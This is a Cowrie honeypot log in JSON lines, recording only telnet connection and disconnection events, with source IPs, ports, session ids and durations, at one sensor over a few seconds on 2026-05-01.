{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":39268,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac7c64bee35f","protocol":"telnet","message":"New connection: 34.69.118.1:39268 (159.203.135.109:23) [session: ac7c64bee35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:15.169740Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":41648,"dst_ip":"159.203.135.109","dst_port":23,"session":"695c264f47da","protocol":"telnet","message":"New connection: 157.15.20.138:41648 (159.203.135.109:23) [session: 695c264f47da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:15.288686Z"}
{"eventid":"cowrie.session.closed","duration":30.682016134262085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:15.401710Z","src_ip":"162.240.69.168","session":"7023c3fda4ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46176,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1008729edeb","protocol":"telnet","message":"New connection: 51.15.157.40:46176 (159.203.135.109:23) [session: c1008729edeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:15.594012Z"}
{"eventid":"cowrie.session.closed","duration":31.402153253555298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:15.882802Z","src_ip":"51.15.157.40","session":"02afb1ed234e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.761616706848145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:15.961624Z","src_ip":"103.171.45.122","session":"6402fb4f33e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811941385269165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:15.981097Z","src_ip":"62.171.133.168","session":"1a133e93e18a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":58326,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b3af9cb034","protocol":"telnet","message":"New connection: 104.236.196.85:58326 (159.203.135.109:23) [session: 71b3af9cb034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:16.047278Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":58328,"dst_ip":"159.203.135.109","dst_port":23,"session":"f67d745b9281","protocol":"telnet","message":"New connection: 104.236.196.85:58328 (159.203.135.109:23) [session: f67d745b9281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:16.124192Z"}
{"eventid":"cowrie.session.closed","duration":30.583915948867798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:16.178393Z","src_ip":"157.15.20.138","session":"50c115928e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86502718925476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:16.186029Z","src_ip":"104.236.196.85","session":"74028acddb01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.788909196853638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:16.292448Z","src_ip":"51.15.157.40","session":"b2217b85ce3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053793907165527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:16.337618Z","src_ip":"51.15.157.40","session":"df9a55914ca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49810,"dst_ip":"159.203.135.109","dst_port":23,"session":"d198156c569c","protocol":"telnet","message":"New connection: 51.15.157.40:49810 (159.203.135.109:23) [session: d198156c569c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:16.554563Z"}
{"eventid":"cowrie.session.closed","duration":31.100164651870728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:16.687290Z","src_ip":"51.15.157.40","session":"b3e5e25de71d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":41664,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fa5785f8d5f","protocol":"telnet","message":"New connection: 157.15.20.138:41664 (159.203.135.109:23) [session: 7fa5785f8d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:16.844661Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38364,"dst_ip":"159.203.135.109","dst_port":23,"session":"91990ddf023e","protocol":"telnet","message":"New connection: 157.15.20.138:38364 (159.203.135.109:23) [session: 91990ddf023e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.002395Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47748,"dst_ip":"159.203.135.109","dst_port":23,"session":"79c49d3710d1","protocol":"telnet","message":"New connection: 51.15.157.40:47748 (159.203.135.109:23) [session: 79c49d3710d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.033797Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44248,"dst_ip":"159.203.135.109","dst_port":23,"session":"de81f7ff7a9c","protocol":"telnet","message":"New connection: 104.236.196.85:44248 (159.203.135.109:23) [session: de81f7ff7a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.083254Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44264,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2179ea814e7","protocol":"telnet","message":"New connection: 104.236.196.85:44264 (159.203.135.109:23) [session: c2179ea814e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.086989Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44270,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a7d7f5deda","protocol":"telnet","message":"New connection: 104.236.196.85:44270 (159.203.135.109:23) [session: f7a7d7f5deda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.117691Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44278,"dst_ip":"159.203.135.109","dst_port":23,"session":"c757184fbfb3","protocol":"telnet","message":"New connection: 104.236.196.85:44278 (159.203.135.109:23) [session: c757184fbfb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.133034Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44292,"dst_ip":"159.203.135.109","dst_port":23,"session":"a26cb884f2b2","protocol":"telnet","message":"New connection: 104.236.196.85:44292 (159.203.135.109:23) [session: a26cb884f2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.160376Z"}
{"eventid":"cowrie.session.closed","duration":30.840790271759033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.292186Z","src_ip":"103.171.45.122","session":"88246da675a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77134656906128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.548989Z","src_ip":"51.15.157.40","session":"6ea1e6b75e4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334437370300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.792780Z","src_ip":"51.15.157.40","session":"e1be3c5964d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.896879196166992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.832967Z","src_ip":"51.15.157.40","session":"1a5d619efbf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54002,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb2f1e754905","protocol":"telnet","message":"New connection: 51.15.157.40:54002 (159.203.135.109:23) [session: bb2f1e754905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.850051Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50756,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6529bd5774a","protocol":"telnet","message":"New connection: 51.15.157.40:50756 (159.203.135.109:23) [session: f6529bd5774a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:17.883045Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44294,"dst_ip":"159.203.135.109","dst_port":23,"session":"831e777c72d8","protocol":"telnet","message":"New connection: 104.236.196.85:44294 (159.203.135.109:23) [session: 831e777c72d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:18.035324Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44410,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7097bd89d64","protocol":"telnet","message":"New connection: 51.15.157.40:44410 (159.203.135.109:23) [session: f7097bd89d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:18.089411Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44306,"dst_ip":"159.203.135.109","dst_port":23,"session":"d39f4984e4d9","protocol":"telnet","message":"New connection: 104.236.196.85:44306 (159.203.135.109:23) [session: d39f4984e4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:18.148353Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38378,"dst_ip":"159.203.135.109","dst_port":23,"session":"297ad4fec4e8","protocol":"telnet","message":"New connection: 157.15.20.138:38378 (159.203.135.109:23) [session: 297ad4fec4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:18.167443Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":42878,"dst_ip":"159.203.135.109","dst_port":23,"session":"23bd6936026b","protocol":"telnet","message":"New connection: 62.171.133.168:42878 (159.203.135.109:23) [session: 23bd6936026b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:18.432100Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":56956,"dst_ip":"159.203.135.109","dst_port":23,"session":"56a335a40b19","protocol":"telnet","message":"New connection: 51.15.157.40:56956 (159.203.135.109:23) [session: 56a335a40b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:18.767990Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":42890,"dst_ip":"159.203.135.109","dst_port":23,"session":"52eb45b923bf","protocol":"telnet","message":"New connection: 62.171.133.168:42890 (159.203.135.109:23) [session: 52eb45b923bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.156974Z"}
{"eventid":"cowrie.session.closed","duration":31.26218605041504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.247071Z","src_ip":"157.15.20.138","session":"66aebe2b19fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58440,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb405783862e","protocol":"telnet","message":"New connection: 51.15.157.40:58440 (159.203.135.109:23) [session: fb405783862e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.368119Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43276,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2526ba1645","protocol":"telnet","message":"New connection: 62.171.133.168:43276 (159.203.135.109:23) [session: 1e2526ba1645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.407300Z"}
{"eventid":"cowrie.session.closed","duration":30.605000495910645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.436114Z","src_ip":"103.171.45.122","session":"09d62eda7866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909820795059204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.451312Z","src_ip":"51.15.157.40","session":"6a818d6ba2d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04497480392456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.778441Z","src_ip":"89.39.83.70","session":"bf16b92b78f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54186,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb63e07da806","protocol":"telnet","message":"New connection: 103.171.45.122:54186 (159.203.135.109:23) [session: eb63e07da806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.798028Z"}
{"eventid":"cowrie.session.closed","duration":31.32658624649048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.943667Z","src_ip":"51.15.157.40","session":"053d7531f5c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38388,"dst_ip":"159.203.135.109","dst_port":23,"session":"be2834248ca4","protocol":"telnet","message":"New connection: 157.15.20.138:38388 (159.203.135.109:23) [session: be2834248ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:19.957941Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44318,"dst_ip":"159.203.135.109","dst_port":23,"session":"6404a39aa7c1","protocol":"telnet","message":"New connection: 104.236.196.85:44318 (159.203.135.109:23) [session: 6404a39aa7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:20.034560Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38392,"dst_ip":"159.203.135.109","dst_port":23,"session":"70cc1f4aca0d","protocol":"telnet","message":"New connection: 157.15.20.138:38392 (159.203.135.109:23) [session: 70cc1f4aca0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:20.072908Z"}
{"eventid":"cowrie.session.closed","duration":30.365981340408325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:20.149914Z","src_ip":"157.15.20.138","session":"41f1d90a6cea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525710105895996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:20.389247Z","src_ip":"51.15.157.40","session":"12ff02afe579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44332,"dst_ip":"159.203.135.109","dst_port":23,"session":"395a735e2e08","protocol":"telnet","message":"New connection: 104.236.196.85:44332 (159.203.135.109:23) [session: 395a735e2e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:20.550856Z"}
{"eventid":"cowrie.session.closed","duration":31.463987827301025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:20.754240Z","src_ip":"51.15.157.40","session":"7e042405978f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52430748939514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:21.211615Z","src_ip":"157.15.20.138","session":"fa2ab29a87cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35554,"dst_ip":"159.203.135.109","dst_port":23,"session":"5872c16a273b","protocol":"telnet","message":"New connection: 51.15.157.40:35554 (159.203.135.109:23) [session: 5872c16a273b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:21.311016Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43284,"dst_ip":"159.203.135.109","dst_port":23,"session":"12e673862b20","protocol":"telnet","message":"New connection: 62.171.133.168:43284 (159.203.135.109:23) [session: 12e673862b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:21.514563Z"}
{"eventid":"cowrie.session.closed","duration":31.09415578842163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:21.759297Z","src_ip":"51.15.157.40","session":"13544949758d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33140,"dst_ip":"159.203.135.109","dst_port":23,"session":"c031b1003dba","protocol":"telnet","message":"New connection: 34.69.118.1:33140 (159.203.135.109:23) [session: c031b1003dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:22.050554Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43288,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f63b83355d3","protocol":"telnet","message":"New connection: 62.171.133.168:43288 (159.203.135.109:23) [session: 3f63b83355d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:22.165330Z"}
{"eventid":"cowrie.session.closed","duration":31.24107003211975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:22.263219Z","src_ip":"103.171.45.122","session":"fd691aacd86b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07088303565979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:22.734910Z","src_ip":"157.15.20.138","session":"8b82ef29902d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41214,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca5b8296b941","protocol":"telnet","message":"New connection: 51.15.157.40:41214 (159.203.135.109:23) [session: ca5b8296b941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:23.104748Z"}
{"eventid":"cowrie.session.closed","duration":31.035755395889282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:23.189310Z","src_ip":"157.15.20.138","session":"46860bdefb91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43300,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a67cd945c43","protocol":"telnet","message":"New connection: 62.171.133.168:43300 (159.203.135.109:23) [session: 4a67cd945c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:23.265975Z"}
{"eventid":"cowrie.session.closed","duration":31.226768970489502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:23.597767Z","src_ip":"51.15.157.40","session":"e3092923c38f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.492668867111206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:23.772820Z","src_ip":"34.69.118.1","session":"ff278e55fed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44342,"dst_ip":"159.203.135.109","dst_port":23,"session":"7680863f7304","protocol":"telnet","message":"New connection: 104.236.196.85:44342 (159.203.135.109:23) [session: 7680863f7304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:23.787082Z"}
{"eventid":"cowrie.session.closed","duration":31.19831371307373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:23.929537Z","src_ip":"157.15.20.138","session":"b4af248d6b46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33144,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa81170cfe97","protocol":"telnet","message":"New connection: 34.69.118.1:33144 (159.203.135.109:23) [session: fa81170cfe97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:23.952942Z"}
{"eventid":"cowrie.session.closed","duration":30.452653884887695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.058211Z","src_ip":"62.171.133.168","session":"9abb022f85a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19446110725403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.075612Z","src_ip":"51.15.157.40","session":"cad9868f4fd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62028193473816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.153363Z","src_ip":"157.15.20.138","session":"d6d853ae8ee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729814052581787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.161048Z","src_ip":"51.15.157.40","session":"7069bd1fec65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44346,"dst_ip":"159.203.135.109","dst_port":23,"session":"a91b75a512ec","protocol":"telnet","message":"New connection: 104.236.196.85:44346 (159.203.135.109:23) [session: a91b75a512ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.185682Z"}
{"eventid":"cowrie.session.closed","duration":31.218766689300537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.256651Z","src_ip":"103.171.45.122","session":"3e5f225cace0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4334499835968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.290304Z","src_ip":"103.171.45.122","session":"f0bd28d8980b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43308,"dst_ip":"159.203.135.109","dst_port":23,"session":"1005b85dba6a","protocol":"telnet","message":"New connection: 62.171.133.168:43308 (159.203.135.109:23) [session: 1005b85dba6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.789630Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38410,"dst_ip":"159.203.135.109","dst_port":23,"session":"cebb3451fdbd","protocol":"telnet","message":"New connection: 157.15.20.138:38410 (159.203.135.109:23) [session: cebb3451fdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.887666Z"}
{"eventid":"cowrie.session.closed","duration":30.59976077079773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:24.999861Z","src_ip":"62.171.133.168","session":"9570cf56f78e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680166959762573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:25.210215Z","src_ip":"104.236.196.85","session":"a86b7e34c93e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226489067077637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:25.491807Z","src_ip":"51.15.157.40","session":"c427a8a5bc86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38412,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfdc40eb883e","protocol":"telnet","message":"New connection: 157.15.20.138:38412 (159.203.135.109:23) [session: bfdc40eb883e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:25.633517Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43310,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1338874d18f","protocol":"telnet","message":"New connection: 62.171.133.168:43310 (159.203.135.109:23) [session: b1338874d18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:25.762259Z"}
